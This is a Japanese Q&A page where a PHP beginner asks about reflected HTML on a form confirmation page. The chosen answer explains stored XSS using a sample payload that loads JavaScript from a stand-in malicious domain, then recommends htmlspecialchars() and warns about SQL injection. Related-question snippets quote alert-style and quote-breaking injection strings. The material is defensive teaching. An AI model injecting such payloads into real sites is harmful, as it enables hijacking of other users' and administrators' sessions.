• ベストアンサー

これはXSS?

名前やEmailアドレスを入力してもらう機能を作ったのですが(PHP使用・ローカル環境)、入力チェックとして確認ページを表示させた際、入力データ(value変数?)にHTML文が入っているとそのまま反映されてしまいます。 (h1としたら大きな入力された名前が表示される) これは脆弱性に繋がりますでしょうか。またこれがXSSの場合どんな被害が発生しますか? HTML・PHP素人なので対策方法など教えて頂けると幸いです。 ご教授の方、よろしくお願い致します。

質問者が選んだベストアンサー

  • ベストアンサー
  • dscripty
  • ベストアンサー率51% (166/325)
回答No.2

入力したデータをそのまま保存して、表示に使うとするよ。 自分の入力した名前を公開することができて、他の人が閲覧できるとするよ。 1) Aさんは akuinoaru-user.com サーバの / に akuinoaru.js を作ったよ。 2) Aさんが名前の欄に次の行を入力したよ。 <script type="text/javascript" src="http://akuinoaru-user.com/akuinoaru.js"></script> 3) Bさんが、質問者さんのサイトにログインしたよ。 4) Bさんが、Aさんの名前をみたよ。 5) すると、次の行がBさんのブラウザで実行されるよ。 <script type="text/javascript" src="http://akuinoaru-user.com/akuinoaru.js"></script> これがどういうことかというと。 Bさんが質問者さんのサイトにログイン中にしか表示されないはずの情報が、Aさんは見ることができるよ。 Bさんが質問者さんのサイトにログイン中にしかできないはずの操作が、Aさんにできてしまうよ。 これが XSS の脆弱性。 もちろん、サイトの管理者さんがログイン中にAさんの名前をみたら、 サイトの管理者さんしか見ることができない情報をAさんはみることができて、 サイトの管理者さんしかできないはずの操作をAさんができることになるよ。 怖いね。 対策例の一つだけど、 入力データを表示するときは htmlspecialchars(入力データ) を使うことだよ。 これで、Aさんの名前を表示しても akuinoaru.jp は実行されないで、次の行が名前として表示されるようになるよ。 <script type="text/javascript" src="http://akuinoaru-user.com/akuinoaru.js"></script> XSS よりもっと怖いのが、入力データの表示ではなくて、ほかの目的で使うときだよ。 例えば、入力データを保存するために、データベースにデータを送るよね。 このときに SQL 文を作るけど、入力データをそのまま SQL 文に含めると「SQLインジェクション」の脆弱性の出来上がり! これは、PHP が使うデータベースのユーザ権限でできるデータベース操作を、誰でも、いつでも、何でも、自由にできてしまう脆弱性だよ。 恐ろしいね。 つまり、ユーザが入力したデータを使って何かを処理するときは、データにどのような文字列が入っていたとしても、その処理に合わせて、データを加工してから使うようにしなければ、脆弱性になるということだよ。 データ表示のときは htmlspecialchars() をつかったけど、ほかの処理はそれぞれ加工の仕方が変わるから、どんなときでもこれをすれば大丈夫という便利なものは無いんだ。 精進あるのみだね。

whiterozes
質問者

お礼

これは怖いですね。もうちょっとしっかり勉強してからwebサイトを作ってみたいと思います。ありがとうございました!

その他の回答 (1)

  • t_ohta
  • ベストアンサー率38% (5080/13276)
回答No.1

確認ページだけの問題なら対したことは無いかもしれませんが、その後で入力されたデータを元に処理を行う場合、注意が必要です。 処理の内容によっては、サーバ内で関係ないプログラムを実行されたり、データベースの内容を改竄したり、別人の情報を閲覧させたりと、いろいろな問題の原因になってしまいます。 まずはIPAの資料なりを一読されるのがいいでしょう。(参考URLをご参照下さい)

参考URL:
http://www.ipa.go.jp/security/vuln/websecurity.html
whiterozes
質問者

お礼

IPAって基本情報試験ぐらいしかしてないと思っていました。これはとても参考になります。ありがとうございました!

関連するQ&A

  • phpのXSS対策 どこに問題が?

    phpのXSS対策について質問があります。 あるphpの参考書に以下のような記述があったのですが、理解できません。↓ ---------------------------------------------------------------------------------- ただし、htmlspecialchars()関数でのエスケープ処理は「&」「<」「>」「"」「'」を文字参照に変換するものなので、これらの文字をまったく使わずにJavaScriptのコードを記載できる場所に変数を表示させるようなHTMLを書いてしまった場合は対策できません。 たとえば、以下のような場所に変数を表示する場合です。このようなコーディングをしてしまった場合は、htmlspecialchars()関数でのエスケープ処理はXSSを防ぐことはできません。このような場所に変数を書かないように注意してください。 <a href="<?php echo $input; ?>"> ---------------------------------------------------------------------------------- この記述を書いてしまうとなぜhtmlspecialchars()関数では防げないのでしょうか? よろしくお願い致します。

    • ベストアンサー
    • PHP
  • XSSを意図的に引き起こしたい

    お世話になっています。 今回セキュリティ講座を開くことになり、 XSSについて講義をすることになったのですがちょっと困っているので質問させてください。 PHPを使ってフォームに入力した文字列をそのまま出力する、 というWebアプリを作りたいのですが、 入力に <script>alert("XSS");</script> と入力してもアラートが表示されません。 PHPによって生成されたソースを見てみると、 <script>alert(\"XSS");</script> と¥でエスケープされていました。 受講者に実際にjavascriptが動いてしまうということを実践させたいので、 なんとかalertを動かす方法は無いのでしょうか? よろしくお願いします。 (厳密にはXSSではなくスクリプトインサーションですが^^;) 以下、ソースコードです。(BODY部分のみ抜粋) <form action="test3.php" method="post"> 入力<input type="text" name="str"><br> <input type="submit" name="submit" value="表示"><br> <?php if($_POST['submit']) { $string = $_POST['str']; echo $string; } ?> 実行環境: windows XP wwwサーバ:apache2.2 PHP5.2.8 ブラウザ:firefox3

  • タグ許可、XSS対策「HTML Purifier」

    >HTMLを許可しつつXSS対策を行えるPHPライブラリ「HTML Purifier」。 >HTMLをちゃんとパースして、XSSに関わる問題のあるタグなどは除去 ▽HTMLを許可しつつXSS対策を行えるPHPライブラリ「HTML Purifier」:phpspot開発日誌   http://phpspot.org/blog/archives/2007/03/htmlxssphphtml.html と書かれているのですが、このライブラリは、現在でも利用して大丈夫なのでしょうか? 2007年時点の記事なので、今では状況が変わっているかもしれない、と思い、質問しました

    • ベストアンサー
    • PHP
  • HTMLタグが入力できるブログ等、XSS対策は?

    お世話になります。 巷のサイトでは、XSS(クロスサイト・スクリプティング)を防ぐため、会員登録や買い物などのフォーム入力欄では、HTMLタグの入力を許可していないことが殆どだと思います。 一方で、ブログ等(私が知っているのはlivedoor blogですが)では、Youtube動画などを表示するために、記事の入稿欄で(Youtube等が発行したタグ)の入力を許可しています。このようなサイトの場合、書こうと思えば何でも書けるように思いますが、XSS対策はどのように行っているのでしょうか。 ・script language = など、特定の文字列を弾いている ・DBに書き込みを行うわけではないから(?)などの理由により、何を書かれても構わない(XSS対策は特に行っていない) など、いくつか考えられると思いますが、事情をご存知の方、お教え頂けますでしょうか。 どうぞよろしく御願いいたします。

  • JavascriptでXSSの脆弱性対策を行いたい

    JavascriptのXSS対策としてinnerHTMLでHTMLのエスケープ処理コードを書いてみたのですが、正しいのか分かりませんアドバイスお願い致します。 ※名前HTML <div class="msg_partial">あと<strong>50</strong>文字</div> ※コメントHTML <div class="msg_partial">あと<strong>500</strong>文字</div> ※該当コード <h2>名前<span class="required">※必須</span></h2> <input class="length_input" data-maxlength="<?php echo MAX_LENGTH::NAME; ?>" type="text" name="namae" id="name" placeholder="未入力の場合は、匿名で表示されます" value="<?php echo $namae; ?>"> <div class="msg_partial"></div> <h2>コメント<span class="required">※必須</span></h2> <textarea class="length_input" data-maxlength="<?php echo MAX_LENGTH::MESSAGE; ?>" name="message" id="message" placeholder="荒らし行為や誹謗中傷や著作権の侵害はご遠慮ください"><?php echo $message; ?></textarea> <div class="msg_partial"></div> ※エスケープ処理を追加 function lengthCheck() { const left = this.dataset.maxlength - this.value.length; if (left >= 0) { const a = document.querySelectorAll('msg_partial'); return a.innerHTML; this.nextElementSibling.innerHTML = '<strong>' + escapeHTML(left) + '</strong>文字'; this.dataset.submit_disabled = this.value.length === 0; } else { const b = document.querySelectorAll('msg_partial'); return b.innerHTML; this.nextElementSibling.innerHTML = '<strong>' + escapeHTML(-left) + '</strong>文字超過しています'; this.dataset.submit_disabled = true; }

  • Javascriptが特注文字解釈の対策

    Javascriptが特殊文字を先に解釈してしまい、うまく機能しなくなるだけでなく、XSS脆弱性にもなるので、対策を考えています。 いろいろ検索などしてみたのですが、あまり情報がなく、みなさんどうされているのかなと。 たとえば PHPから出力した変数 $value をJavascriptの引数に入れる場合 <img src="http://....." onclick="myfunc('{$value}')" /> こんな感じの場合 $value = "');alert('テスト"; とすると alertが実行されてしまいます。(これは当然ですが) そして $value = "');alert('テスト"; これでも同じく実行されてしまいます。 ' は ' の特殊文字で通常無効化のために変換しますが、Javascriptでは、この特殊文字も普通に解釈していくようです。 さらに $value = "');alert('テスト"; という風に最初に0をつけても、解釈されてしまいます。 やはり、javascriptの引数に入れる際に、こういったものは変換(\'などに)ではなく、削除してしまうのがベストということでしょうか。

  • ブラウザによってはソースが表示される

    ローカル環境でphpで書いたHPをテストしました。IEではうまくいきますが、FirefoxやOperaではphpソースが表示されてしまいます。見てみると、アローの>や比較演算子の>をphpの終了タグと認識しているようで、そのあとのソースが表示されています。いまは<?phpと?>を使っていますが、ためしに<script language="php"></script>にしてみたらうまくいきました。しかし、formの中で変数を使うのにvalue="<?=$変数 ?>"というように使っているところはその書き方に直していられないようにおもいます。HTMLのヘッダは確認しましたが、ほかにどんな間違いが考えられるでしょうか?

    • ベストアンサー
    • PHP
  • サーバーにPHPを入れるだけで考えられるリスク

    PHPでWEB管理者専用のニュースリリースページ更新フォームの作成を検討しています。 (ページ新規作成・編集と、その更新情報をトップページの新着情報欄でお知らせ。) PHPプログラム自体のXSSなどのセキュリティ対策はもちろんですが、 セキュリティを考慮し、更新フォームは管理者専用にベーシック認証+管理者PCのIPのみ許可するアクセス制限を設けたディレクトリに設置予定です。 さらにセキュリティリスクを下げるべく、更新フォームPHPで入力した情報で HTMLページを生成し、一般ユーザーにはその静的なHTMLのページを公開しようと考えています。 (トップページおよび個々のニュースリリースページも静的HTML。PHPページは管理者ページだけ) 一般ユーザーにPHPページを見せないだけでも、かなり安全かと思いますが この方法で考えられるセキュリティリスクおよび対策は他にどんなものがあるでしょうか? 例えば、 ・管理パスワードの漏洩→頻繁にパスワードを変更する ・IP許可している管理者PCの乗っ取り→ウィルス対策・ログ監視 そもそもサーバーへ不正侵入でもしない限り、PHPのページを一般に公開していなければ、 PHPがインストールされてるだけでは何か悪さをされる可能性はないのでしょうか? PHPは脆弱性が多いという情報はたくさんでてきますが、プログラミングの問題であって XSSやSQLインジェクションなどの対策さえきちんとしておけば、 サーバーにPHPをインストールすること自体にそれほど心配する必要はありませんよね?

    • ベストアンサー
    • PHP
  • フォームを利用する場合のApache設定

    PHPを勉強し始めたばかりです。 Apacheを利用して、ローカルにてPHPを動かしています。 ■test.html■ (~前文省略) <body> 名前を入力して下さい。<br> <form action="test.php" method="post"> <input type="text" neme="namae" size="20"> <input type="submit" value="送信"> </form> </body> (~以下省略) ■test.php■ <?php $text = "$namae さん、ようこそ!">; ?> <html> (~以下省略) <body> <?php echo $text; ?> </body> </html> ローカルでtest.htmlを呼び出し、名前となる文字を入力しても、test.phpでは何も表示されません…。 「(空白) さん、ようこそ!」 と表示されてしまうのです。 サーバーに上記2つのファイルをUPして試したところ、正常に入力した文字が反映されるので、プログラムミスではないと思います。 Apacheにて、何か特殊な設定が必要なのでしょうか? 解りにくいかもしれませんが、どうぞご教授お願い致します。

    • ベストアンサー
    • PHP
  • 更新情報用PHPのタグ入力について

    http://www.hot-dining.com/free_cgi/webturn-plus.php の更新記録 (Shift_JIS仕様)というPHPを使用しています。 コメントを入力する際、コメントにHTMLタグを入力しても表示ページ ではタグ部分が破棄されてしまうのですが、HTMLタグを反映させるに はPHPのどの部分を書き換えれば良いのでしょうか? 素人なりに色々試してみたのですが、どうしてもうまくいきません。 どうぞお力を貸し下さい。よろしくお願い致します。

    • 締切済み
    • PHP